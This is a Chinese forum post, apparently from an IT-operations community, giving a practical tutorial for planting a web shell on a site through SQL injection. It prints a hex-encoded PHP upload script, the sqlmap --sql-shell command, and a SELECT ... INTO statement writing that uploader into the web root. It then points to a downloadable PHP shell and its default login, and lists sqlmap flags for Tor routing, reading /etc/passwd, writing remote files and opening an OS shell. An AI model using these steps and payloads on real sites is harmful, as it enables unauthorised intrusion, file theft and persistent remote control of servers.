设为首页 收藏本站
查看: 1759|回复: 0

一个利用sql注入上传shell的姿势

[复制链接]

尚未签到

发表于 2018-8-26 09:28:08 | 显示全部楼层 |阅读模式
  利用sql注入上传shell
  上传前的准备:
  一个PHPshell;
  http://pan.baidu.com/s/1jG5zLpO
  一个注入脚本;
  以及sqlmap(当然这个不是必须的,你也可以在你的浏览器上完成)。
  接下来,让我们开始吧:
  找到一个路径泄露的网站后,我们就可以开始我们的工作了。
  我将会使用加方括号的空数组***
  像这样:
  http://www.example.com/index.php?id[]=1
  然后得到目录:
  Warning:  mysql_fetch_array():supplied argument is not a valid MySQL result resource in/home/relax/public_html/index.php on line 59
  现在,你需要将你的上传脚本转换为十六进制的。
  转换前:
  
  转换后:
  3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e
  接下来,让我们操起sqlmap开干吧。
  获取sql-shell
  python sqlmap.py--url=http://www.example.com/index.php?id=1 --sql-shell
  [15:35:06] [INFO] the back-end DBMS isMySQL
  web server operating system: Windows
  web application technology: PHP 5.3.5, Apache 2.2.17
  back-end DBMS: MySQL 5
  [15:35:06] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
  sql-shell>
  现在将前面我们准备的十六进制文件写进sql-shell中。
  select0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e
  into"/home/relax/public_html/upload.php";
  (别忘了在十六进制文件之前加上0x)
  等上几秒后我们进入 http://www.example.com/upload.php验证是否成功。
  如果成功的话就上传PHP shell。
  上传之后就是你shell的工作时间了。
  注意:
  Shell的账号和密码为cyber,gladiator,你可以在PHP文件中更改用户名和密码,但是shell的名称一定要是cyb3r-sh3ll.php,否则这个shell将会失效
  Sqlmap中的一些参数:
  --tor-port=xxxx                          connectthrough tor
  --random-agent                         random user agent
  --file-read=/etc/passwd              readlocal file
  --file-write=/etc/passwd              writefile to remote machine must be used with file-dest
  --file-dest=/etc/passwd              where to write the file-write
  --os-shell                                    like thesql-shell but system
  --wizard                                      forbeginners
  --check-waf                                 Check for WAF/IPS/IDSprotection


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.iyunv.com/thread-556631-1-1.html 上篇帖子: shell 字符串 下篇帖子: 有shell的环境变量
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表